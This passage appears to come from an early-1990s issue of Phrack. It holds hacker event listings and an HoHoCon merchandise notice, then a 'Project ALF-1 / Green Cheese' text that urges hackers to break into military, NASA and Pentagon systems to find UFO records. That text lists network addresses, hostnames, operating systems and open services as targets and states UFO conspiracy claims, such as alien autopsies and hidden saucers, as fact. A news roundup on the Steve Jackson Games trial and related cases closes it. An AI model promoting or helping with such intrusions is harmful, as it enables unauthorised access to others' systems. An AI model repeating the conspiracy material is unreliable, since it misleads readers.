Magic Man - magic@ganglia.mgh.harvard.edu
White Knight - wknight@ganglia.mgh.harvard.edu
Omega - omega@spica.bu.edu
"They are satisfying their appetite to know something that is not theirs
to know." - Asst. District Attorney Don Ingraham
"All-you-can eat buffet...for FREE!" - Restricted Data Transmissions
RDT "Truth is Cheap, but Information Costs."
--------------------------
Magazine
--------------------------
Future Sex
(a very odd pseudo-cyberpunk skin mag)
4 issues for $18, Canada $26, International US $48
1095 Market Street
Suite 809
San Francisco, CA 94103
415-621-5496
415-621-4946 fax
--------------------------
Video
--------------------------
Red $19.95
(Phone Pranks can kill)
Nekromantik II $29.95
(No comment)
Available through
Film Threat Video
P.O. Box 3170
Los Angeles, CA
90078-3170 USA
818-848-8971
Shipping: 1 tape $3.40
2-3 $4.60
4-6 $5.80
6+ $7.00
Visa/MC accepted.
--------------------------
Official HoHoCon Crud
--------------------------
HoHoCon '92
Product Ordering Information
If you are interested in obtaining either HoHoCon shirts or videos,
please contact us at any of the following:
drunkfux@cypher.com
hohocon@cypher.com
cDc@cypher.com
dfx@nuchat.sccsi.com
drunkfux@ganglia.mgh.harvard.edu
359@7354 (WWIV Net)
Freeside Orbital Data Network
ATTN: dFx/HoHoCon
11504 Hughes Road Suite #124
Houston, Texas
77089
713-866-4884 (Voice Mail)
The shirts are $15 plus $2 shipping ($2.50 for two shirts). At this
time, they only come in extra large. We may add additional sizes if
there is a demand for them. The front of the shirt has the following
in a white strip across the chest:
I LOVE FEDS
(Where LOVE = a red heart, very similar to the I LOVE NY logo)
And this on the back:
dFx & cDc Present
HOHOCON '92
December 18-20
Allen Park Inn
Houston, Texas
There is another version of the shirt available with the following:
I LOVE WAREZ
The video includes footage from all three days, is six hours long and
costs $18 plus $2 shipping ($2.50 if purchasing another item also).
Please note that if you are purchasing multiple items, you only need
to pay one shipping charge of $2.50, not a charge for each item. If
you wish to send an order in now, make all checks or money orders
payable to O.I.S., include your phone number and mail it to the street
address listed above. Allow ten working days for arrival.
Thanks to everyone who attended and supported HoHoCon '92. Mail us if
you wish to be an early addition to the HoHoCon '93 (December 17-19)
mailing list.
--------------------------
Text File
--------------------------
Rumors have begun to surface about a group of hackers who were involved in a
project to uncover information regarding the existence of UFOs. The
most public example pertaining to this alleged project was seen on
Dateline NBC on the screen of the mystery hacker "Quentin."
The story goes that this group of individuals decided to put their
skills to work on a project that, if successful, would add legitimacy to
the hacking process by uncovering information on what has been called the
greatest cover-up in the history of the world. Milnet TAC ID cards
were obtained through military officials sympathetic to the cause. Several
sites and networks were targeted that had in the past been linked to UFO
activity. These were sites like the Jet Propulsion Laboratory, Sandia Labs,
TRW Space Research, American Institute of Physics, and various other
educational, government and military sites.
The rumors also emphasize that several sites had what these individuals
called "particularly heavy security." Within several seconds after
connection had been established, system administrators of sites used in
this project were contacted. Further rumors state that there was
information regarding a propulsion system designed utilizing what is
termed "corona discharge" being analyzed at one site. The most sinister
of all rumors states that one particular participant who was allegedly
deeply immersed in TRWs internal network has not been heard from since
uncovering data regarding a saucer being housed at one of their Southern
California installations.
Believe what you will about the reality of this project. Much will be
dismissed as hacker lore, but within the core of every rumor lies a
grain of truth.
Are we being lied to? Why is this information still classified by the NSA?
What are they hiding from us behind a maze of security? Will we continue
to stand idly by and let an uncaring and deliberately evasive government
shield us from what may be the most important, and potential dangerous
news to ever surface? Information wants to be free, and only a
concerted group effort can make this happen. How much do you really
want to know about what is really going on?
What follows is information that has been released regarding this project...
---------------------------------------------------------------------------
PROJECT ALF-1
A Planetary Effort
TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET
TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET
These are the raw data. Where comments are appropriate, they
will be included. The data will be grouped together with dates,
names etc. to make correlations easier.
There are countless references to the aliens, their down space
craft and what the Government is doing with them.
If, as is supposed, the research on the craft and the 'ufonauts'
continues today, then undoubtedly there are computer records, somewhere.
I. Searching the Skies; Tripping the Electronic Fence around the
USA.
US Space Command Space Surveillance Center, Cheyenne Mountain,
Colorado Springs, Box Nine (Electronic Surveillance Room)
(This is where they search for and track UFO activity.)
U.S. Naval Space Surveillance System, Dahlgreen, Virginia, (Main
computer), Lake Kickapoo, Texas (listening post): Search for
'Flash Traffic'
Commander Sheila Mondran
CINC-NORAD
Space Detection and Tracking System
Malabar, Forida
'Teal Amber' search
National Military Command Center - Pentagon
(These are the areas where UFO activity is tracked.
There is a radar shield around the country that is 'tripped' by UFO's.
All tracking and F14 scrambling is done through this system.)
II. The Second Cover Up
Defense Intelligence Agency
Directorate for Management and Operations
Project Aquarius (in conjunction with SRI)
Colonel Harold E. Phillips, Army (where/what Feb. 1987)
UFO Working Group, (formed Dec 1987)
Major General James Pfautz, USAF, Ret. (March 87)
US Army experiments -(Monroe Institute, Faber, VA)
Major General Albert Stubblebine
Capt. Guy Kirkwood,
(thousands of feet of film of UFO's catalogued and on record somewhere.)
The UFO Working Group was formed because one arm of the Govt doesn't
know what the other is doing.)
III. National Security
NSA NAtional Security Agency, Dundee Society (Super secret elite
who have worked on UFO's.)
NSA - Research and Engineering Division
NSA - Intercept Equipment Division
Kirtland Force Base, Office of Special Investigations, Project
Beta. 1979-83-? (Sandia Labs are here.)
Paul Bennewitz
Project Blue
Project Blue Book
(NSA computers do analysis for Pentagon.)
IV. More Secret Players
NASA, Fort Irwin, Barstow, CA
NASA Ames Research Center, Moffet Field Naval Base
SETI
State Dept. Office of Advanced Technology
Any Astronauts from Mercury, Gemini and Apollo
CIA - Office of Scientific Investigation
CIA - Domestic Collection Division
(NASA has known about UFO's since the astronauts saw and photoed them.
Records somewhere.)
V. Dealing with the Secret
MJ-12 (1952)
Majectic 12
Operation Majestic 12
MAJIC-12
Admiral Roscoe H. Hillenkoetter
Dr. Vannevar Bush
Dr. Detlev Bronk
Dr. Jerome Hunsaker
Dr. Donald Menzel
Dr. Lloyd Berkner
General Robt. Montague
Sidney Souers
Gordon Gray
General Hoyt Vandenberg
Sect State James Forrestal
General Nathan Twining
Pres. Truman
Pres. Eisenhower
(One of the biggest secrets ever.)
Nevada Desert, Area 51, S4 (houses UFO's)
(Robert Lazar talked!) 9 space ships on storage. Propulsion by
corona discharge.
(Area 51 is the most protected base on the planet.)
VI. ROSWELL, NM Crashes
Mac Brazel (farmer)
Major Jesse A. Marcel
509th. Bomber Group
Lewis Rickett, CIC Officer
Colonel William Blanchard
Gerald Anderson, witness to crash and aliens
Wright Patterson Air Force Base, (parts lists of UFO's catalogued;
autopsies on record) (Bodies in underground facility)
Foreign Technology Building
USAAF (United States Army Air Force reports: "Early Automation"
Muroc, CA (Base with UFO's for study)
(1 saucer with 4 aliens. They were transported to Wright and then
saved, catalogued and autopsied.)
VII. THOSE ON GOVT SHIT LIST
(People who have gotten close.)
Robert Lazar
Major Donald Keyhoe
William Moore
Stanton Friedman
Jaime Shandera
Whitley Streiber
Timothy Goode, UK
Other UFO Crashes
Del Rio, TX 12/50, Colonel Robert Willingham
Las Vegas, 4/18/62
Kecksburg, PA 12/9/65
VIII. International
Belgian Air Force. (They are going public and have records.
Press conference held 7/12/91.)
Australian Air Force
UK; GCHQ
British Air Force
Belgium:
NATO Radar Stations
IX. UFO Civilian Groups. (What do they really know?)
NICAP, National Investigations Committee on Aerial Phenomena
(private company.)
APRO, Tucson, AZ (Aerial Phenomona Research Organization,
private company.)
MUFON Mutual UFO Network
X. GENERAL
Kenneth Arnold, June 24, 1947
Cattle and Sheep Mutilations
General and Pres. Eisenhower, (private files and library)
President Truman
Wright Field or Wright Patterson Air Force Base, Dayton, OH, (Air
Force Foriegn Technology Division)
USAF Project Saint
USAF Project Gemini
Project Moon Dust
Project Sign
Project Grudge
General Hoyt Vandenberg (1940-1960)
Air Force Regulation 200-2 (8/12/54)
Holloman AFB, NM
Roswell, NM July 7, 1947
XI. Possible Searches
Presidential Libraries
Old USAAF, (United States Army Air Force)
NASA
Astronaut Frank Borman, Gemini 7, pictures of UFO
Neil Armstrong, Apollo 11, saw UFO's on moon.
Colonel Gordon Cooper saw a bunch of them
James McDivitt, 6/66
United Nations
NATO;
General Lionel Max Chassin, French Air Force
Star Wars, United Kingdom, 23 scientists killed in 6 years.
Gulf Breeze, FL
Additional UFO records at NSA, CIA, DIA, FBI
Good Searching.
----------------------------------------------------------------------
Project
->Green Cheese<-
Data Base
---------------------------------------------------------------------
Holloman AFB
Location: New Mexico. Preconceived landing 15 years ago.
DDN Locations:
--------------
NET : 132.5.0.0 : HOLLOMAN :
GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW :
GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW :
HOST : 26.10.0.74 : HOLLOMAN-TG.AF.MIL : VAX-8650 : VMS : TCP/FTP,TCP/TELNET,TCP
SMTP :
HOST : 26.6.0.74 : HOLLOMAN-AM1.AF.MIL : WANG-VS100 : VSOS : TCP/TELNET,TCP/FTP,
TCP/SMTP :
Host: DDNVAX2.6585TG.AF.MIL
156.6.1.2
-----------------------------------------------------------------------
Kirtland Air Force Base
Office Of Special Investigations. Sandia Labs are here. Also part of
NSA Intercept Equipment Division.
Key Words/names:
----------------
Sandia Labs
Project Beta (1979-83-?)
Paul Bennewitz
Project Blue
Project Blue Book
DDN Locations:
--------------
NET : 131.23.0.0 : KIRTLAND-NET :
NET : 132.62.0.0 : KIRTLAND2 :
GATEWAY : 26.17.0.48, 131.23.0.1 : KIRTLAND2-GW.AF.MIL,KIRTLAND-GW.AF.MIL
: CISCO-MGS : UNIX : IP/GW,EGP :
GATEWAY : 26.18.0.87, 132.62.0.1
: KIRTLAND1-GW.AF.MIL,KIRTLAND1606ABW-GW.AF.MIL : CISCO-MGS :
: EGP,IP/GW :
HOST : 26.0.0.48 : KIRTLAND.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.87 : KIRTLAND2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.6.0.87 : KIRTLAND-AM1.AF.MIL : WANG-VS300 : VS ::
-----------------------------------------------------------------------
NASA
What can I say about NASA that you couldnt guess for yourself....
(Except that the following sights are SPECIFIC NASA sights, not
just randomly suspected sights).
DDN locations:
--------------
Fort Irwin, Barstow, CA:
-----------------------
NET : 134.66.0.0 : IRWIN :
NET : 144.146.0.0 : FTIRWIN1 :
NET : 144.147.0.0 : FTIRWIN2 :
GATEWAY : 26.24.0.85, 26.7.0.230, 144.146.0.1, 144.147.0.0
: FTIRWIN-GW1.ARMY.MIL : CISCO-GATEWAY : CISCO : IP/GW,EGP :
HOST : 26.14.0.39 : IRWIN-ASBN.ARMY.MIL : NCR-COMTEN-3650 : COS2 ::
HOST : 26.13.0.85 : FTIRWIN-AMEDD.ARMY.MIL : ATT-3B2-600G : UNIX
: TCP/FTP,TCP/SMTP,TCP/TELNET :
HOST : 26.14.0.85 : FTIRWIN-IGNET.ARMY.MIL : DATAPOINT-8605 : RMS ::
HOST : 26.15.0.85 : IRWIN-EMH1.ARMY.MIL,FTIRWIN-EMH1.ARMY.MIL : SPERRY-5000
: UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET :
Moffet Field Naval Base (Ames Research Center):
-----------------------------------------------
GATEWAY : 26.20.0.16, 192.52.195.1 : MOFFETT-FLD-MB.DDN.MIL,AMES-MB.DDN.MIL
: C/70 : CHRYSALIS : IP/GW,EGP :
HOST : 26.0.0.16 : MOFFETT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
-----------------------------------------------------------------------
Pentagon (National Military Command Center)
One of many places in charge of tracking UFO activity.
Possible DDN sights:
-------------------
GATEWAY : 26.9.0.26, 134.205.123.140 : PENTAGON-GW.HQ.AF.MIL : CISCO-AGS :
: EGP,IP/GW :
GATEWAY : 26.25.0.26, 131.8.0.1 : PENTAGON-GW.AF.MIL,HQUSAFNET-GW.AF.MIL
: CISCO-MGS :: IP/GW,EGP :
GATEWAY : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN-GW.ARMY.MIL : SUN-360
: UNIX : IP/GW,EGP :
GATEWAY : 26.26.0.247, 192.31.75.1 : PENTAGON-GW.ARMY.MIL : SUN-3/160
: UNIX : EGP,IP/GW :
GATEWAY : 26.31.0.247, 26.16.0.26, 141.116.0.1 : PENTAGON-GW1.ARMY.MIL
: CISCO : CISCO : IP/GW,EGP :
HOST : 26.0.0.26 : PENTAGON.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.24.0.26 : OPSNET-PENTAGON.AF.MIL : VAX-8500 : VMS
: TCP/TELNET,TCP/FTP,TCP/SMTP :
HOST : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN.ARMY.MIL : SUN-360 : UNIX
: TCP/FTP,TCP/SMTP,TCP/TELNET :
HOST : 26.0.0.247 : PENTAGON2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.7.0.247 : PENTAGON-AMSNET.ARMY.MIL : AMDAHL : MVS
: TCP/TELNET,TCP/FTP :
HOST : 26.14.0.247 : NSSC-PENTAGON.NAVY.MIL : ALTOS-3068A : UNIX
: TCP/FTP,TCP/TELNET,TCP/SMTP :
HOST : 26.18.0.247 : PENTAGON-EMH4.ARMY.MIL : SPERRY-5000/80 : UNIX
: TCP/TELNET,TCP/FTP,TCP/SMTP :
HOST : 26.26.0.247, 192.31.75.1 : PENTAGON-AI.ARMY.MIL : SUN-3/160 : UNIX
: TCP/TELNET,TCP/FTP,TCP/SMTP,TCP/FINGER :
-----------------------------------------------------------------------
Raddaman
Location of infamous building 18a. Suspected saucers and others?
DDN location, yet unknown.
------------------------------------------------------------------------
SECI
?
DDN Locations:
--------------
NET : 192.108.216.0 : ARC-SETI-NET :
------------------------------------------------------------------------
Utah Locations:
GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL
: CISCO-MGS :: IP/GW,EGP :
GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL
: CISCO-MGS :: IP/GW,EGP :
HOST : 26.5.0.20 : HILL.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.99 : HILL2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.12.0.99 : HILL-AM1.AF.MIL : WANG-VS100 : VS
: TCP/TELNET,TCP/FTP,TCP/SMTP :
-------------------------------------------------------------------------
Wright Patterson AFB
Catalogued UFO parts list. Autopsies on record. Bodies located in
underground facility of Foreign Technology Building.
DDN Locations:
--------------
HOST : 26.0.0.47 : WRIGHTPAT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.8.0.123 : WRIGHTPAT2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.124 : WRIGHTPAT3.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.3.0.170 : WAINWRIGHT-IGNET.ARMY.MIL : CONVERGENT-TECH-CN-100
: CTOS ::
HOST : 26.0.0.176 : WRIGHTPAT4.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
-------------------------------------------------------------------------
Nevada:
NET : 131.216.0.0 : NEVADA :
-------------------------------------------------------------------------
Random Suspected Nets:
WIN:
Top Secret Network. All coordinator's have last name Win.
NET : 141.8.0.0 : DFN-WIN8 : NET : 141.9.0.0 : DFN-WIN9 :
NET : 141.10.0.0 : DFN-WIN10 : NET : 141.15.0.0 : DFN-WIN15 :
NET : 141.25.0.0 : DFN-WIN25 : NET : 141.26.0.0 : DFN-WIN26 :
NET : 141.28.0.0 : DFN-WIN28 : NET : 141.57.0.0 : DFN-WIN57 :
NET : 141.58.0.0 : DFN-WIN58 : NET : 141.59.0.0 : DFN-WIN59 :
NET : 141.60.0.0 : DFN-WIN60 : NET : 141.61.0.0 : DFN-WIN61 :
NET : 141.62.0.0 : DFN-WIN62 : NET : 141.63.0.0 : DFN-WIN63 :
NET : 141.64.0.0 : DFN-WIN64 : NET : 141.65.0.0 : DFN-WIN65 :
NET : 141.66.0.0 : DFN-WIN66 : NET : 141.67.0.0 : DFN-WIN67 :
NET : 141.68.0.0 : DFN-WIN68 : NET : 141.69.0.0 : DFN-WIN69 :
NET : 141.70.0.0 : DFN-WIN70 : NET : 141.71.0.0 : DFN-WIN71 :
NET : 141.72.0.0 : DFN-WIN72 : NET : 141.73.0.0 : DFN-WIN73 :
NET : 141.74.0.0 : DFN-WIN74 : NET : 141.75.0.0 : DFN-WIN75 :
NET : 141.76.0.0 : DFN-WIN76 : NET : 141.77.0.0 : DFN-WIN77 :
NET : 141.78.0.0 : DFN-WIN78 : NET : 141.79.0.0 : DFN-WIN79 :
NET : 141.80.0.0 : DFN-WIN80 : NET : 141.81.0.0 : DFN-WIN81 :
NET : 141.82.0.0 : DFN-WIN82 : NET : 141.83.0.0 : DFN-WIN83 :
NET : 141.84.0.0 : DFN-WIN84 : NET : 141.85.0.0 : DFN-WIN85 :
NET : 141.86.0.0 : DFN-WIN86 : NET : 141.87.0.0 : DFN-WIN87 :
NET : 141.88.0.0 : DFN-WIN88 : NET : 141.89.0.0 : DFN-WIN89 :
NET : 141.90.0.0 : DFN-WIN90 : NET : 141.91.0.0 : DFN-WIN91 :
NET : 141.92.0.0 : DFN-WIN92 : NET : 141.93.0.0 : DFN-WIN93 :
NET : 141.94.0.0 : DFN-WIN94 : NET : 141.95.0.0 : DFN-WIN95 :
NET : 141.96.0.0 : DFN-WIN96 : NET : 141.97.0.0 : DFN-WIN97 :
NET : 141.98.0.0 : DFN-WIN98 : NET : 141.99.0.0 : DFN-WIN99 :
NET : 188.1.0.0 : WIN-IP : NET : 192.80.90.0 : WINDATA :
-----------------------------------
Scinet:
Sensitive Compartmented Information Network
NET : 192.12.188.0 : BU-SCINET :
-----------------------------------
Disnet:
Defense Integrated Secure Network. Composed of SCINET, WINCS
([World Wide Military and Command Control System] Intercomputer
Network Communication Subsystem), and Secretnet(WIN).
NET : 22.0.0.0 : DISNET :
-----------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 14 of 14
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN PWN
PWN Phrack World News PWN
PWN PWN
PWN Compiled by Datastream Cowboy PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
STEVE JACKSON GAMES v. UNITED STATES SECRET SERVICE
Rights To Be Tested In Computer Trial January 20, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Joe Abernathy (The Houston Chronicle)(Page A13)
*Reprinted With Permission*
Summary Judgment Denied In Case
AUSTIN -- A judge Tuesday denied plaintiff lawyers' request for summary
judgment in a case brought against the U.S. Secret Service to set the bounds of
constitutional protections for electronic publishing and electronic mail.
U.S. District Judge Sam Sparks acted after hearing complicated arguments
regarding application of 1st and 4th Amendment principles in computer-based
communications and publishing. The case will go to trial at 9 a.m. today.
"Uncontested facts show the government violated the Privacy Protection Act and
the Electronic Communications Privacy Act," said Pete Kennedy, attorney for
Steve Jackson Games, an Austin game company that brought the lawsuit.
Mark W. Batten, attorney for the Department of Justice, which is defending the
Secret Service, declined to comment on the proceedings.
Steve Jackson's company, which publishes fantasy role-playing games -- not
computer games -- was raided by the Secret Service on March 1, 1990, during a
nationwide sweep of suspected criminal computer hackers.
Agents seized several computers and related hardware from the company and from
the Austin home of Steve Jackson employee Loyd Blankenship. Taken from the
game publisher was an electronic bulletin board used to play-test games before
they were printed and exchange electronic mail with customers and free-lance
writers.
Another seized computer contained the text of the company's work in progress,
GURPS Cyberpunk, which was being prepared for the printers.
Blankenship's purported membership in the Legion of Doom -- a group of computer
hackers from Austin, Houston and New York -- led the Secret Service to Steve
Jackson's door.
Neither Jackson nor his company was suspected of wrongdoing.
The game publisher is named in two paragraphs of the 42-paragraph affidavit
requesting the 1990 search warrant, which targeted Blankenship -- a fact
Kennedy cited in seeking summary judgment.
Kennedy presented evidence that the original Secret Service affidavit for the
warrant used to raid Steve Jackson Games contained false statements.
Supporting documentation showed that Bellcore expert Henry Kluepfel disputes
statements attributed to him that accounted for the only link between Steve
Jackson Games and the suspicion Blankenship was engaged in illegal activity.
Batten came away visibly shaken from questioning by Sparks, and later had a
tense exchange with Kennedy outside the courtroom.
The lawsuit contends the government violated 1st Amendment principles by
denying the free speech and public assembly of callers to Jackson's bulletin
board system, Illuminati. This portion of the complaint was brought under the
Privacy Protection Act, which also covers the seized Cyberpunk manuscripts --
if the judge rules that such a book, stored electronically prior to
publication, is entitled to the same protections as a printed work.
The government lawyers argued the Privacy Protection Act applies only to
journalistic organizations -- an argument Sparks didn't seem to buy.
The lawsuit also contends 4th Amendment principles providing against
unreasonable search and seizure were violated, on grounds the Electronic
Communications Privacy Act specifies protection for publishers.
The Justice Department contends electronic mail does not enjoy constitutional
protections.
"They (users of Illuminati) had no expectation of privacy in their electronic
mail messages," Batten said. The basis of the argument is that Illuminati's
callers were not sending communications to others, but rather "revealing" them
to a third party, Steve Jackson, thus negating their expectation of privacy.
_______________________________________________________________________________
Computer Case Opens; Agent Admits Errors January 27, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Joe Abernathy (The Houston Chronicle)(Page A11)
*Reprinted With Permission*
AUSTIN -- Plaintiff's attorneys wrested two embarrassing admissions from the
U.S. Secret Service on the opening day of a federal civil lawsuit designed to
establish constitutional protections for electronic publishing and electronic
mail.
Special Agent Timothy Folly of Chicago admitted that crucial statements were
erroneous in an affidavit he used to obtain warrants in a 1990 crackdown on
computer crime.
Foley also conceded that the Secret Service's special training for computer
crime investigators overlooks any mention of a law that limits search-and-
seizure at publishing operations.
The case before U.S. District Judge Sam Sparks was brought by Steve Jackson
Games, an Austin game publisher, with the support of electronic civil rights
activists who contend that federal agents have overstepped constitutional
bounds in their investigations of computer crime.
Jackson supporters already have committed more than $200,000 to the litigation,
which seeks $2 million in damages from the Secret Service and other defendants
in connection with a March 1990 raid on Jackson Games.
Plaintiffs hope to establish that First Amendment protections of the printed
word extend to electronic information and to guarantee privacy protections for
users of computer bulletin board systems, such as one called Illuminati that
was taken in the raid.
Steve Jackson's attorney, Jim George of Austin, focused on those issues in
questioning Foley about the seizure of the personal computer on which
Illuminati ran and another PC which contained the manuscript of a pending
Jackson Games book release, "GURPS Cyberpunk."
"At the Secret Service computer crime school, were you, as the agent in charge
of this investigation, made aware of special rules for searching a publishing
company?" George asked Foley. He was referring to the Privacy Protection Act,
which states that police may not seize a work in progress from a publisher. It
does not specify what physical form such a work must take.
Foley responded that the Secret Service does not teach its agents about those
rules.
Earlier, Foley admitted that his affidavit seeking court approval to raid
Jackson Games contained an error.
During the raid -- one of several dozen staged that day around the country in
an investigation called Operation Sun Devil -- agents were seeking copies of a
document hackers had taken from the computer system of BellSouth.
No criminal charges have been filed against Jackson, his company, or others
targeted in several Austin raids. The alleged membership of Jackson employee
Loyd Blankenship in the Legion of Doom hacker's group -- which was believed
responsible for the BellSouth break-in -- lead agents to raid Jackson Games at
the same time that Blankenship's Austin home was raided.
Foley's affidavit stated that Bell investigator Henry Kluepfel had logged on to
the Illuminati bulletin board and found possible evidence of a link between
Jackson Games and the Legion of Doom.
But George produced a statement from Kluepfel, who works for Bellcore, formerly
AT&T Bell Labs, disputing statements attributed to him in the affidavit. Foley
acknowledged that part of the affidavit was erroneous.
The U.S. Department of Justice, which is defending the Secret Service, contends
that only traditional journalistic organizations enjoy the protections of the
Privacy Protection Act and that users of electronic mail have no reasonable
expectation of privacy.
_______________________________________________________________________________
Judge Rebukes Secret Service For Austin Raid January 29, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Joe Abernathy (The Houston Chronicle)(Page A21)
*Reprinted With Permission*
AUSTIN -- A federal judge lambasted the U.S. Secret Service Thursday for
failing to investigate properly before it seized equipment from three Austin
locations in a 1990 crackdown on computer crime.
U.S. District Judge Sam Sparks' comments came on the final day of trial in a
lawsuit brought by Steve Jackson Games, an Austin publisher, with the support
of national computer rights activists.
The judge did not say when he will issue a formal ruling in the case. In
addition to seeking $ 2 million in damages from the Secret Service and other
defendants, Jackson hopes to establish privacy and freedom of the press
protections for electronic information.
In a packed courtroom Thursday morning, Sparks dressed down Secret Service
Special Agent Timothy Foley of Chicago, who was in charge of the March 1, 1990,
raid on Jackson, one of his employees and a third Austin man. No criminal
charges have been filed in connection with the raids.
"The Secret Service didn't do a good job in this case," Sparks said. "We know
no investigation took place. Nobody ever gave any concern as to whether
(legal) statutes were involved. We know there was damage (to Jackson)."
The Secret Service has seized dozens of computers since the nationwide
crackdown began in 1990, but Jackson, a science fiction magazine and game book
publisher, is the first to challenge the practice. A computer seized at
Jackson Games contained the manuscript for a pending book, and Jackson alleges,
among other things, that the seizure violated the Privacy Protection Act, which
prohibits seizure of publishers' works in progress.
Agents testified that they were not trained in that law at the special Secret
Service school on computer crime.
Sparks grew visibly angry when testimony showed that Jackson never was
suspected of a crime, that agents did no research to establish a criminal
connection between the firm and the suspected illegal activities of an
employee, and that they did not determine that the company was a publisher.
"How long would it have taken you, Mr. Foley, to find out what Steve Jackson
Games did, what it was? " asked Sparks. "An hour?
"Was there any reason why, on March 2, you could not return to Steve Jackson
Games a copy, in floppy disk form, of everything taken?
"Did you read the article in Business Week magazine where it had a picture of
Steve Jackson -- a law-abiding, tax-paying citizen -- saying he was a computer
crime suspect?
"Did it ever occur to you, Mr. Foley, that seizing this material could harm
Steve Jackson economically? "
Foley replied, "No, sir," but the judge offered his own answer:
"You actually did; you just had no idea anybody would actually go out and hire
a lawyer and sue you."
The judge's rebuke apparently convinced the government to close its defense
after the testimony from Foley, only one of several government witnesses on
hand. Justice Department attorney Mark Battan entered subdued testimony
seeking to limit the award of monetary damages.
The judge's comments came after cross-examination of Foley by Pete Kennedy,
Jackson's attorney.
Sparks questioned Foley about the raid, focusing on holes in the search
warrant, why Jackson was not allowed to copy his work in progress after it was
seized, and why his computers were not returned after the Secret Service
analyzed them.
"The examination took seven days, but you didn't give Steve Jackson's computers
back for three months. Why?" asked Sparks.
"So here you are, with three computers, 300 floppy disks, an owner who was
asking for it back, his attorney calling you, and what I want to know is why
copies of everything couldn't be given back in days. Not months. Days.
"That's what makes you mad about this case."
Besides alleging that the seizure violated the Privacy Protection Act, Jackson
alleged that since one of the computers was being used to run a bulletin board
system containing private electronic mail, the seizure violated the Electronic
Communications Privacy Act.
Justice Department attorneys have refused comment on the case, but contended in
court papers that Jackson Games is a manufacturer, and that only journalistic
organizations can call upon the Privacy Protection Act.
The government said that seizure of an electronic bulletin board system does
not constitute interception of electronic mail.
The Electronic Frontier Foundation committed more than $200,000 to the Jackson
suit. The EFF was founded by Mitchell Kapor of Lotus Technology amid a
computer civil liberties movement sparked in large part by the Secret Service
computer crime crackdown that included the Austin raids.
"The dressing down of the Secret Service for their behavior is a major
vindication of what we've been saying all along, which is that there were
outrageous actions taken against Steve Jackson that hurt his business and sent
a chilling effect to everyone using bulletin boards, and that there were larger
principles at stake," said Kapor, contacted at his Cambridge, Massachusetts
office.
Shari Steele, who attended the trial as counsel for the EFF, said, "We're very
happy with the way the case came out. That session with the judge and Tim
Foley is what a lawyer dreams about."
_______________________________________________________________________________
Going Undercover In The Computer Underworld January 26, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Ralph Blumenthal (The New York Times)(Page B1)
[A 36-year old law enforcement officer from the East Coast masquerades
as "Phrakr Trakr" throughout the nation's computer bulletin boards.
As the organizer of the High-Tech Crime Network, he has educated other
officers in over 28 states in the use of computer communications.
Their goal is to penetrate some 3000 underground bbses where computer
criminals trade in stolen information, child pornography and bomb
making instructions.
"I want to make more cops aware of high-tech crime," he said. "The
victims are everybody. We all end up paying for it."]
_______________________________________________________________________________
Hackers Breaking Into UC Computers January 23, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by T. Christian Miller (The San Francisco Chronicle)(Page A20)
[According to the University of California, hackers have been breaking
into the DOD and NASA through UC computer systems. The investigation
links over 100 computer hackers who have reportedly penetrated
computers at UC Davis, UC Berkeley, NYU, FSU, and CSU. The FBI stated
that the investigation reached as far as Finland and Czechoslovakia
but did not comment on any arrests.
University officials have asked all users to change to more complex
passwords by April 1.]
_______________________________________________________________________________
Feds Sued Over Hacker Raid At Mall February 5, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Joe Abernathy (The Houston Chronicle)(Page A5)
[A lawsuit was filed 2-4-93 in the Washington, D.C. federal court to
force the secret service to disclose its involvement in the disruption
of a meeting of computer hackers last year. The meeting, a monthly
gathering of readers of "2600 Magazine" at the Pentagon City Mall was
disrupted on November 6, 1992, when mall security and Arlington County
Police questioned and searched the attendees.
The suit was filed by the Computer Professionals for Social
Responsibility. "If this was a Secret Service operation, it raises
serious constitutional questions," said Marc Rotenberg, director of
CPSR.
The Secret Service declined to comment on the matter.]
----------
[New Info in 2600 Case - from email sent by CPSR]
One month after being sued under the Freedom of Information
Act (FOIA), the Secret Service has officially acknowledged that
it possesses "information relating to the breakup of a meeting
of individuals at the Pentagon City Mall in Arlington, Virginia."
The admission, contained in a letter to Computer Professionals for
Social Responsibility (CPSR), confirms widespread suspicions that
the agency played a role in the detention and search of
individuals affiliated with "2600" Magazine at the suburban
Washington mall on November 6, 1992.
CPSR filed suit against the Secret Service on February 4
after the agency failed to respond to the organization's FOIA
request within the statutory time limit. In its recent response,
the Secret Service released copies of three news clippings
concerning the Pentagon City incident but withheld other
